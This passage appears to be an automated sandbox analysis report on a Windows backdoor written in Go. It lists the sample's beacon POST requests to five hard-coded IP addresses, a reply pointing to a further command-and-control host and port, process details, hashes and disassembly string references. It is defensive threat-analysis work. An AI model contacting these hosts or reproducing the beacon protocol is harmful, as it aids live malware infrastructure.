Nov 6, 2024 17:20:23.387397051 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:20:38.399590015 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:20:38.404567003 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:20:43.617119074 CET	25139	49718	185.121.233.152	192.168.2.8
Nov 6, 2024 17:20:43.617333889 CET	49718	25139	192.168.2.8	185.121.233.152
Nov 6, 2024 17:20:43.622129917 CET	25139	49718	185.121.233.152	192.168.2.8

HTTP Request Dependency Graph

46.8.232.106

46.8.236.61

93.185.159.253

91.212.166.91

188.130.206.243

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	46.8.232.106	80	1984	C:\Users\user\Desktop\m0Yc9KltGw.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 17:18:43.033643961 CET	334	OUT	POST / HTTP/1.1 Host: 46.8.232.106 User-Agent: Go-http-client/1.1 Content-Length: 198 X-Api-Key: roePuyRb Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 03 04 27 19 07 0c 0d 21 01 2d 0d 1b 00 16 01 3a 10 5f 24 0f 0e 3d 52 2e 09 31 28 21 08 27 3f 01 07 3c 15 1a 06 1b 3a 3e 12 2b 26 0f 5d 0a 03 27 57 3b 02 1b 56 25 50 00 58 2d 31 22 45 4f 4d 1e 14 06 1f 1a 3a 1d 03 1b 09 02 02 0b 44 53 45 21 39 3a 35 06 53 37 19 4c 4a 4b 17 11 00 16 1f 39 06 10 1c 19 09 1b 03 41 55 4c 0a 26 3f 05 3e 0c 24 3d 45 4f 4d 0c 13 00 0b 07 39 0b 14 1a 0e 0c 01 4c 5c 4b 57 0c 1e 3e 48 27 00 19 5c 08 51 5d 45 4f 4d 03 02 5c 45 59 4d 58 55 0b 50 01 0d 5c 50 08 51 53 09 0c 5f 0c 50 50 0c 5e 03 58 53 51 58 0f 52 0f 04 05 0e 08 54 4b 1a Data Ascii: M*L\K'!-:_$=R.1(!'?<:>+&]'W;V%PX-1"EOM:DSE!9:5S7LJK9AUL&?>$=EOM9L\KW>H'\Q]EOM\EYMXUP\PQS_PP^XSQXRTK
Nov 6, 2024 17:18:43.878026009 CET	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 06 Nov 2024 16:18:43 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	46.8.236.61	80	1984	C:\Users\user\Desktop\m0Yc9KltGw.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 17:18:43.996113062 CET	333	OUT	POST / HTTP/1.1 Host: 46.8.236.61 User-Agent: Go-http-client/1.1 Content-Length: 198 X-Api-Key: aZJvaNJM Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 03 04 27 19 07 0c 0d 21 01 2d 0d 1b 00 16 01 3a 10 5f 24 0f 0e 3d 52 2e 09 31 28 21 08 27 3f 01 07 3c 15 1a 06 1b 3a 3e 12 2b 26 0f 5d 0a 03 27 57 3b 02 1b 56 25 50 00 58 2d 31 22 45 4f 4d 1e 14 06 1f 1a 3a 1d 03 1b 09 02 02 0b 44 53 45 21 39 3a 35 06 53 37 19 4c 4a 4b 17 11 00 16 1f 39 06 10 1c 19 09 1b 03 41 55 4c 0a 26 3f 05 3e 0c 24 3d 45 4f 4d 0c 13 00 0b 07 39 0b 14 1a 0e 0c 01 4c 5c 4b 57 0c 1e 3e 48 27 00 19 5c 08 51 5d 45 4f 4d 03 02 5c 45 59 4d 58 55 0b 50 01 0d 5c 50 08 51 53 09 0c 5f 0c 50 50 0c 5e 03 58 53 51 58 0f 52 0f 04 05 0e 08 54 4b 1a Data Ascii: M*L\K'!-:_$=R.1(!'?<:>+&]'W;V%PX-1"EOM:DSE!9:5S7LJK9AUL&?>$=EOM9L\KW>H'\Q]EOM\EYMXUP\PQS_PP^XSQXRTK
Nov 6, 2024 17:18:44.880003929 CET	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 06 Nov 2024 16:18:44 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49706	93.185.159.253	80	1984	C:\Users\user\Desktop\m0Yc9KltGw.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 17:18:44.924094915 CET	336	OUT	POST / HTTP/1.1 Host: 93.185.159.253 User-Agent: Go-http-client/1.1 Content-Length: 198 X-Api-Key: jQyaDn9L Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 03 04 27 19 07 0c 0d 21 01 2d 0d 1b 00 16 01 3a 10 5f 24 0f 0e 3d 52 2e 09 31 28 21 08 27 3f 01 07 3c 15 1a 06 1b 3a 3e 12 2b 26 0f 5d 0a 03 27 57 3b 02 1b 56 25 50 00 58 2d 31 22 45 4f 4d 1e 14 06 1f 1a 3a 1d 03 1b 09 02 02 0b 44 53 45 21 39 3a 35 06 53 37 19 4c 4a 4b 17 11 00 16 1f 39 06 10 1c 19 09 1b 03 41 55 4c 0a 26 3f 05 3e 0c 24 3d 45 4f 4d 0c 13 00 0b 07 39 0b 14 1a 0e 0c 01 4c 5c 4b 57 0c 1e 3e 48 27 00 19 5c 08 51 5d 45 4f 4d 03 02 5c 45 59 4d 58 55 0b 50 01 0d 5c 50 08 51 53 09 0c 5f 0c 50 50 0c 5e 03 58 53 51 58 0f 52 0f 04 05 0e 08 54 4b 1a Data Ascii: M*L\K'!-:_$=R.1(!'?<:>+&]'W;V%PX-1"EOM:DSE!9:5S7LJK9AUL&?>$=EOM9L\KW>H'\Q]EOM\EYMXUP\PQS_PP^XSQXRTK
Nov 6, 2024 17:18:45.792134047 CET	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 06 Nov 2024 16:18:45 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49707	91.212.166.91	80	1984	C:\Users\user\Desktop\m0Yc9KltGw.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 17:18:45.820377111 CET	335	OUT	POST / HTTP/1.1 Host: 91.212.166.91 User-Agent: Go-http-client/1.1 Content-Length: 198 X-Api-Key: EAalWPI3 Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 03 04 27 19 07 0c 0d 21 01 2d 0d 1b 00 16 01 3a 10 5f 24 0f 0e 3d 52 2e 09 31 28 21 08 27 3f 01 07 3c 15 1a 06 1b 3a 3e 12 2b 26 0f 5d 0a 03 27 57 3b 02 1b 56 25 50 00 58 2d 31 22 45 4f 4d 1e 14 06 1f 1a 3a 1d 03 1b 09 02 02 0b 44 53 45 21 39 3a 35 06 53 37 19 4c 4a 4b 17 11 00 16 1f 39 06 10 1c 19 09 1b 03 41 55 4c 0a 26 3f 05 3e 0c 24 3d 45 4f 4d 0c 13 00 0b 07 39 0b 14 1a 0e 0c 01 4c 5c 4b 57 0c 1e 3e 48 27 00 19 5c 08 51 5d 45 4f 4d 03 02 5c 45 59 4d 58 55 0b 50 01 0d 5c 50 08 51 53 09 0c 5f 0c 50 50 0c 5e 03 58 53 51 58 0f 52 0f 04 05 0e 08 54 4b 1a Data Ascii: M*L\K'!-:_$=R.1(!'?<:>+&]'W;V%PX-1"EOM:DSE!9:5S7LJK9AUL&?>$=EOM9L\KW>H'\Q]EOM\EYMXUP\PQS_PP^XSQXRTK
Nov 6, 2024 17:18:46.723715067 CET	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 06 Nov 2024 16:18:46 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49708	188.130.206.243	80	1984	C:\Users\user\Desktop\m0Yc9KltGw.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 17:18:46.753221989 CET	337	OUT	POST / HTTP/1.1 Host: 188.130.206.243 User-Agent: Go-http-client/1.1 Content-Length: 198 X-Api-Key: nfnVo8vT Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 03 04 27 19 07 0c 0d 21 01 2d 0d 1b 00 16 01 3a 10 5f 24 0f 0e 3d 52 2e 09 31 28 21 08 27 3f 01 07 3c 15 1a 06 1b 3a 3e 12 2b 26 0f 5d 0a 03 27 57 3b 02 1b 56 25 50 00 58 2d 31 22 45 4f 4d 1e 14 06 1f 1a 3a 1d 03 1b 09 02 02 0b 44 53 45 21 39 3a 35 06 53 37 19 4c 4a 4b 17 11 00 16 1f 39 06 10 1c 19 09 1b 03 41 55 4c 0a 26 3f 05 3e 0c 24 3d 45 4f 4d 0c 13 00 0b 07 39 0b 14 1a 0e 0c 01 4c 5c 4b 57 0c 1e 3e 48 27 00 19 5c 08 51 5d 45 4f 4d 03 02 5c 45 59 4d 58 55 0b 50 01 0d 5c 50 08 51 53 09 0c 5f 0c 50 50 0c 5e 03 58 53 51 58 0f 52 0f 04 05 0e 08 54 4b 1a Data Ascii: M*L\K'!-:_$=R.1(!'?<:>+&]'W;V%PX-1"EOM:DSE!9:5S7LJK9AUL&?>$=EOM9L\KW>H'\Q]EOM\EYMXUP\PQS_PP^XSQXRTK
Nov 6, 2024 17:18:47.967667103 CET	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 06 Nov 2024 16:18:47 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49714	46.8.232.106	80	1984	C:\Users\user\Desktop\m0Yc9KltGw.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 17:19:18.042007923 CET	334	OUT	POST / HTTP/1.1 Host: 46.8.232.106 User-Agent: Go-http-client/1.1 Content-Length: 198 X-Api-Key: mIQ60NDK Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 03 04 27 19 07 0c 0d 21 01 2d 0d 1b 00 16 01 3a 10 5f 24 0f 0e 3d 52 2e 09 31 28 21 08 27 3f 01 07 3c 15 1a 06 1b 3a 3e 12 2b 26 0f 5d 0a 03 27 57 3b 02 1b 56 25 50 00 58 2d 31 22 45 4f 4d 1e 14 06 1f 1a 3a 1d 03 1b 09 02 02 0b 44 53 45 21 39 3a 35 06 53 37 19 4c 4a 4b 17 11 00 16 1f 39 06 10 1c 19 09 1b 03 41 55 4c 0a 26 3f 05 3e 0c 24 3d 45 4f 4d 0c 13 00 0b 07 39 0b 14 1a 0e 0c 01 4c 5c 4b 57 0c 1e 3e 48 27 00 19 5c 08 51 5d 45 4f 4d 03 02 5c 45 59 4d 58 55 0b 50 01 0d 5c 50 08 51 53 09 0c 5f 0c 50 50 0c 5e 03 58 53 51 58 0f 52 0f 04 05 0e 08 54 4b 1a Data Ascii: M*L\K'!-:_$=R.1(!'?<:>+&]'W;V%PX-1"EOM:DSE!9:5S7LJK9AUL&?>$=EOM9L\KW>H'\Q]EOM\EYMXUP\PQS_PP^XSQXRTK
Nov 6, 2024 17:19:18.992965937 CET	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 06 Nov 2024 16:19:18 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.8	49715	46.8.236.61	80

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 17:19:19.021840096 CET	333	OUT	POST / HTTP/1.1 Host: 46.8.236.61 User-Agent: Go-http-client/1.1 Content-Length: 198 X-Api-Key: AYMhFAHY Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 03 04 27 19 07 0c 0d 21 01 2d 0d 1b 00 16 01 3a 10 5f 24 0f 0e 3d 52 2e 09 31 28 21 08 27 3f 01 07 3c 15 1a 06 1b 3a 3e 12 2b 26 0f 5d 0a 03 27 57 3b 02 1b 56 25 50 00 58 2d 31 22 45 4f 4d 1e 14 06 1f 1a 3a 1d 03 1b 09 02 02 0b 44 53 45 21 39 3a 35 06 53 37 19 4c 4a 4b 17 11 00 16 1f 39 06 10 1c 19 09 1b 03 41 55 4c 0a 26 3f 05 3e 0c 24 3d 45 4f 4d 0c 13 00 0b 07 39 0b 14 1a 0e 0c 01 4c 5c 4b 57 0c 1e 3e 48 27 00 19 5c 08 51 5d 45 4f 4d 03 02 5c 45 59 4d 58 55 0b 50 01 0d 5c 50 08 51 53 09 0c 5f 0c 50 50 0c 5e 03 58 53 51 58 0f 52 0f 04 05 0e 08 54 4b 1a Data Ascii: M*L\K'!-:_$=R.1(!'?<:>+&]'W;V%PX-1"EOM:DSE!9:5S7LJK9AUL&?>$=EOM9L\KW>H'\Q]EOM\EYMXUP\PQS_PP^XSQXRTK
Nov 6, 2024 17:19:19.890888929 CET	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 06 Nov 2024 16:19:19 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49716	93.185.159.253	80	1984	C:\Users\user\Desktop\m0Yc9KltGw.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 17:19:19.922182083 CET	336	OUT	POST / HTTP/1.1 Host: 93.185.159.253 User-Agent: Go-http-client/1.1 Content-Length: 198 X-Api-Key: alJ3chjw Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 03 04 27 19 07 0c 0d 21 01 2d 0d 1b 00 16 01 3a 10 5f 24 0f 0e 3d 52 2e 09 31 28 21 08 27 3f 01 07 3c 15 1a 06 1b 3a 3e 12 2b 26 0f 5d 0a 03 27 57 3b 02 1b 56 25 50 00 58 2d 31 22 45 4f 4d 1e 14 06 1f 1a 3a 1d 03 1b 09 02 02 0b 44 53 45 21 39 3a 35 06 53 37 19 4c 4a 4b 17 11 00 16 1f 39 06 10 1c 19 09 1b 03 41 55 4c 0a 26 3f 05 3e 0c 24 3d 45 4f 4d 0c 13 00 0b 07 39 0b 14 1a 0e 0c 01 4c 5c 4b 57 0c 1e 3e 48 27 00 19 5c 08 51 5d 45 4f 4d 03 02 5c 45 59 4d 58 55 0b 50 01 0d 5c 50 08 51 53 09 0c 5f 0c 50 50 0c 5e 03 58 53 51 58 0f 52 0f 04 05 0e 08 54 4b 1a Data Ascii: M*L\K'!-:_$=R.1(!'?<:>+&]'W;V%PX-1"EOM:DSE!9:5S7LJK9AUL&?>$=EOM9L\KW>H'\Q]EOM\EYMXUP\PQS_PP^XSQXRTK
Nov 6, 2024 17:19:20.829529047 CET	183	IN	HTTP/1.1 429 Too Many Requests Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Wed, 06 Nov 2024 16:19:20 GMT Content-Length: 18 Data Raw: 54 6f 6f 20 6d 61 6e 79 20 72 65 71 75 65 73 74 73 0a Data Ascii: Too many requests

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49717	91.212.166.91	80	1984	C:\Users\user\Desktop\m0Yc9KltGw.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 17:19:20.873711109 CET	335	OUT	POST / HTTP/1.1 Host: 91.212.166.91 User-Agent: Go-http-client/1.1 Content-Length: 198 X-Api-Key: f0N7GKZ3 Accept-Encoding: gzip Data Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 03 04 27 19 07 0c 0d 21 01 2d 0d 1b 00 16 01 3a 10 5f 24 0f 0e 3d 52 2e 09 31 28 21 08 27 3f 01 07 3c 15 1a 06 1b 3a 3e 12 2b 26 0f 5d 0a 03 27 57 3b 02 1b 56 25 50 00 58 2d 31 22 45 4f 4d 1e 14 06 1f 1a 3a 1d 03 1b 09 02 02 0b 44 53 45 21 39 3a 35 06 53 37 19 4c 4a 4b 17 11 00 16 1f 39 06 10 1c 19 09 1b 03 41 55 4c 0a 26 3f 05 3e 0c 24 3d 45 4f 4d 0c 13 00 0b 07 39 0b 14 1a 0e 0c 01 4c 5c 4b 57 0c 1e 3e 48 27 00 19 5c 08 51 5d 45 4f 4d 03 02 5c 45 59 4d 58 55 0b 50 01 0d 5c 50 08 51 53 09 0c 5f 0c 50 50 0c 5e 03 58 53 51 58 0f 52 0f 04 05 0e 08 54 4b 1a Data Ascii: M*L\K'!-:_$=R.1(!'?<:>+&]'W;V%PX-1"EOM:DSE!9:5S7LJK9AUL&?>$=EOM9L\KW>H'\Q]EOM\EYMXUP\PQS_PP^XSQXRTK
Nov 6, 2024 17:19:22.175688028 CET	556	IN	HTTP/1.1 200 OK Date: Wed, 06 Nov 2024 16:19:22 GMT Content-Length: 438 Content-Type: text/plain; charset=utf-8 Data Raw: 31 38 35 2e 31 32 31 2e 32 33 33 2e 31 35 32 3b 32 35 31 33 39 3b 68 64 52 5a 74 64 61 61 74 68 4f 49 70 6c 35 42 3a 34 35 4d 2f 4e 48 58 2f 54 66 41 34 31 44 31 36 69 6b 51 2e 70 44 5a 38 77 68 69 2e 33 4d 51 32 4c 6d 65 33 50 67 4c 32 70 71 48 2e 4e 4a 50 31 53 58 6d 30 65 64 47 36 56 6d 59 2c 64 33 70 68 50 64 5a 74 45 75 51 74 4f 37 45 70 67 5a 43 3a 6b 6c 4a 2f 49 72 48 2f 4c 70 7a 34 48 32 65 36 38 38 36 2e 61 62 38 38 70 6a 35 2e 48 71 38 32 55 47 67 33 6e 79 78 36 50 6e 48 2e 6a 44 4e 36 4d 69 77 31 70 66 4b 2c 54 70 4f 68 50 37 57 74 34 30 71 74 44 51 58 70 59 39 74 3a 75 51 56 2f 5a 66 61 2f 57 57 31 39 47 66 57 33 69 31 6f 2e 68 42 7a 31 41 5a 75 38 72 54 6f 35 59 39 43 2e 53 51 58 31 45 46 53 35 63 63 77 39 4c 53 57 2e 54 71 59 32 7a 56 67 35 41 7a 6f 33 56 4d 42 2c 68 72 36 68 74 69 57 74 43 45 6c 74 69 57 78 70 54 52 79 3a 58 48 37 2f 64 42 76 2f 6e 72 42 39 74 50 35 31 4e 44 77 2e 4c 5a 52 32 67 68 46 31 50 34 77 32 66 31 6d 2e 59 32 32 31 63 53 77 36 47 6f 55 36 69 46 58 2e 65 79 47 [TRUNCATED] Data Ascii: 185.121.233.152;25139;hdRZtdaathOIpl5B:45M/NHX/TfA41D16ikQ.pDZ8whi.3MQ2Lme3PgL2pqH.NJP1SXm0edG6VmY,d3phPdZtEuQtO7EpgZC:klJ/IrH/Lpz4H2e6886.ab88pj5.Hq82UGg3nyx6PnH.jDN6Miw1pfK,TpOhP7Wt40qtDQXpY9t:uQV/Zfa/WW19GfW3i1o.hBz1AZu8rTo5Y9C.SQX1EFS5ccw9LSW.TqY2zVg5Azo3VMB,hr6htiWtCEltiWxpTRy:XH7/dBv/nrB9tP51NDw.LZR2ghF1P4w2f1m.Y221cSw6GoU6iFX.eyG9ox81mgh,SVahcvhtg47tNrapIpR:NXT/smT/CZZ12V58bAu8aV7.ZsL1xwE3auE0DAs.Pi32BwO0BdI6HRE.IHp2EPL4Qzo3jQE
Nov 6, 2024 17:19:52.178417921 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 6, 2024 17:20:22.194598913 CET	6	OUT	Data Raw: 00 Data Ascii:

Target ID:	0
Start time:	11:18:41
Start date:	06/11/2024
Path:	C:\Users\user\Desktop\m0Yc9KltGw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\m0Yc9KltGw.exe"
Imagebase:	0x400000
File size:	9'312'768 bytes
MD5 hash:	63B7BB26A60FB9E73C0E1427A4FCFAF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2733958560.000000000C008000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.1%
Dynamic/Decrypted Code Coverage:	79.1%
Signature Coverage:	42.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	268

Executed Functions

Function 0292344A Relevance: 93.4, APIs: 2, Strings: 51, Instructions: 652
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L, xrefs: 02925170
d, xrefs: 02923553
[P, xrefs: 02925129
W, xrefs: 029251A1
L, xrefs: 02925154
W, xrefs: 02923D7F
y, xrefs: 02923D78
a, xrefs: 02923D40
d, xrefs: 02923D47
x, xrefs: 029235D2
L, xrefs: 0292355A
r, xrefs: 029235EE
t, xrefs: 029235E0
P, xrefs: 029235E7
e, xrefs: 02923603
o, xrefs: 029235F5
i, xrefs: 02923D55
b, xrefs: 02923D5C
d, xrefs: 02925169
i, xrefs: 029235D9
a, xrefs: 0292354C
W, xrefs: 0292358B
o, xrefs: 0292515B
L, xrefs: 02923D4E
5CCI, xrefs: 02923457
r, xrefs: 0292356F
r, xrefs: 02925193
s, xrefs: 02923611
L, xrefs: 0292353E
E, xrefs: 029235CB
b, xrefs: 02923568
=K:3, xrefs: 02925071
c, xrefs: 029235FC
a, xrefs: 02923576
s, xrefs: 0292360A
b, xrefs: 0292517E
HYW, xrefs: 0292344D
i, xrefs: 02923561
y, xrefs: 0292519A
i, xrefs: 02925177
a, xrefs: 02925162
r, xrefs: 02923D71
r, xrefs: 02923D63
r, xrefs: 02925185
L, xrefs: 02923D32
o, xrefs: 02923D39
a, xrefs: 02923D6A
r, xrefs: 0292357D
o, xrefs: 02923545
a, xrefs: 0292518C
y, xrefs: 02923584

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: 5CCI$=K:3$E$HYW$L$L$L$L$L$L$P$W$W$W$[P$a$a$a$a$a$a$b$b$b$c$d$d$d$e$i$i$i$i$o$o$o$o$r$r$r$r$r$r$r$s$s$t$x$y$y$y
API String ID: 0-960091691
Opcode ID: b64be6ccaf423245a3e003afef22b77d992e5c96695135af63615d315855449e
Instruction ID: 30aa24d1d5f4ff378057e35fdd825edfda4cf6aafe2c08ec629bfcb43e02575c
Opcode Fuzzy Hash: b64be6ccaf423245a3e003afef22b77d992e5c96695135af63615d315855449e
Instruction Fuzzy Hash: B942F451D186A88AF7258B24DC44BAA7B75EF91300F0490FDC08DAB281D67E5FC5CF66

Function 02925854 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 734
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u, xrefs: 029260C0
W, xrefs: 02926723
o, xrefs: 029266DD
L, xrefs: 029266F2
r, xrefs: 02926707
x, xrefs: 02926025
c, xrefs: 0292604F
c, xrefs: 02926177
t, xrefs: 029260B9
e, xrefs: 029260EA
a, xrefs: 0292670E
[W, xrefs: 02926109
r, xrefs: 02926041
L, xrefs: 029266D6
V, xrefs: 029260A4
r, xrefs: 02927AE0
r, xrefs: 02926138
d, xrefs: 029266EB
e, xrefs: 02926056
E, xrefs: 0292601E
l, xrefs: 02926154
A, xrefs: 0292615B
s, xrefs: 0292605D
F, xrefs: 029260D5
t, xrefs: 0292613F
o, xrefs: 02926170
o, xrefs: 02926048
e, xrefs: 029260E3
r, xrefs: 029260DC
a, xrefs: 029260C7
b, xrefs: 02927ACB
y, xrefs: 02927AE7
s, xrefs: 02926064
L, xrefs: 02927ABD
l, xrefs: 02926169
V, xrefs: 0292612A
a, xrefs: 0292614D
a, xrefs: 02927AAF
i, xrefs: 02926131
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
u, xrefs: 02926146
l, xrefs: 029260CE
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
P, xrefs: 0292603A
L, xrefs: 02927AA1
a, xrefs: 029266E4
S, xrefs: 029276A6
l, xrefs: 02926162
i, xrefs: 029266F9
W, xrefs: 02927AEE
r, xrefs: 029260B2
i, xrefs: 029260AB
t, xrefs: 02926033
i, xrefs: 0292602C
i, xrefs: 02927AC4

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: A$E$F$L$L$L$L$P$S$V$V$W$W$[W$a$a$a$a$a$a$b$b$c$c$d$d$e$e$e$i$i$i$i$i$l$l$l$l$o$o$o$o$r$r$r$r$r$r$r$r$s$s$t$t$t$u$u$x$y$y
API String ID: 0-2002451845
Opcode ID: efd57313e90d302c46f2a1d1f05d2838b6d4215c80f8e6a728908e52be8c74ec
Instruction ID: 9f1590d0bfc547174e305633f57310ed5f998bcc451510479ddd10548f7ed579
Opcode Fuzzy Hash: efd57313e90d302c46f2a1d1f05d2838b6d4215c80f8e6a728908e52be8c74ec
Instruction Fuzzy Hash: C952E7A1D182A49AF7218A24DC44BEBBB79EF91304F0480F9D54CA7685D67E0FC5CF62

Function 02925623 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 732
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u, xrefs: 029260C0
W, xrefs: 02926723
o, xrefs: 029266DD
L, xrefs: 029266F2
r, xrefs: 02926707
x, xrefs: 02926025
c, xrefs: 0292604F
c, xrefs: 02926177
t, xrefs: 029260B9
e, xrefs: 029260EA
a, xrefs: 0292670E
[W, xrefs: 02926109
r, xrefs: 02926041
L, xrefs: 029266D6
V, xrefs: 029260A4
r, xrefs: 02927AE0
r, xrefs: 02926138
d, xrefs: 029266EB
e, xrefs: 02926056
E, xrefs: 0292601E
l, xrefs: 02926154
A, xrefs: 0292615B
s, xrefs: 0292605D
F, xrefs: 029260D5
t, xrefs: 0292613F
o, xrefs: 02926170
o, xrefs: 02926048
e, xrefs: 029260E3
r, xrefs: 029260DC
a, xrefs: 029260C7
b, xrefs: 02927ACB
y, xrefs: 02927AE7
s, xrefs: 02926064
L, xrefs: 02927ABD
l, xrefs: 02926169
V, xrefs: 0292612A
a, xrefs: 0292614D
a, xrefs: 02927AAF
i, xrefs: 02926131
b, xrefs: 02926700
d, xrefs: 02927AB6
r, xrefs: 02926715
y, xrefs: 0292671C
u, xrefs: 02926146
l, xrefs: 029260CE
o, xrefs: 02927AA8
r, xrefs: 02927AD2
a, xrefs: 02927AD9
P, xrefs: 0292603A
L, xrefs: 02927AA1
a, xrefs: 029266E4
S, xrefs: 029276A6
l, xrefs: 02926162
i, xrefs: 029266F9
W, xrefs: 02927AEE
r, xrefs: 029260B2
i, xrefs: 029260AB
t, xrefs: 02926033
i, xrefs: 0292602C
i, xrefs: 02927AC4

Memory Dump Source

Source File: 00000000.00000002.2726809063.0000000002920000.00000020.00001000.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2920000_m0Yc9KltGw.jbxd

Similarity

API ID:
String ID: A$E$F$L$L$L$L$P$S$V$V$W$W$[W$a$a$a$a$a$a$b$b$c$c$d$d$e$e$e$i$i$i$i$i$l$l$l$l$o$o$o$o$r$r$r$r$r$r$r$r$s$s$t$t$t$u$u$x$y$y
API String ID: 0-2002451845
Opcode ID: 9553e75a72e40f26fe79fd54f2cf19ddf64e684f6323868e429e79f9732920fe
Instruction ID: 4f4550d3098ad6facbbf37dc2b042d28c06d46ec2f96581196765d2ff6dc4269
Opcode Fuzzy Hash: 9553e75a72e40f26fe79fd54f2cf19ddf64e684f6323868e429e79f9732920fe
Instruction Fuzzy Hash: BA52D7A1D182A49AF7218A24DC44BEBBB79EF91304F0480F9D54CA7685D67E0FC5CF62

Function 02925C52 Relevance: 92.2, APIs: 1, Strings: 60, Instructions: 731
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u, xrefs: 029260C0
W, xrefs: 02926723
o, xrefs: 029266DD
L, xrefs: 029266F2
r, xrefs: 02926707
x, xrefs: 02926025
c, xrefs: 0292604F
c, xrefs: 02926177
t, xrefs: 029260B9
e, xrefs: 029260EA
a, xrefs: 0292670E
[W, xrefs: 02926109
r, xrefs: 02926041
L, xrefs: 029266D6
V, xrefs: 029260A4
r, xrefs: 02927AE0
r, xrefs: 02926138
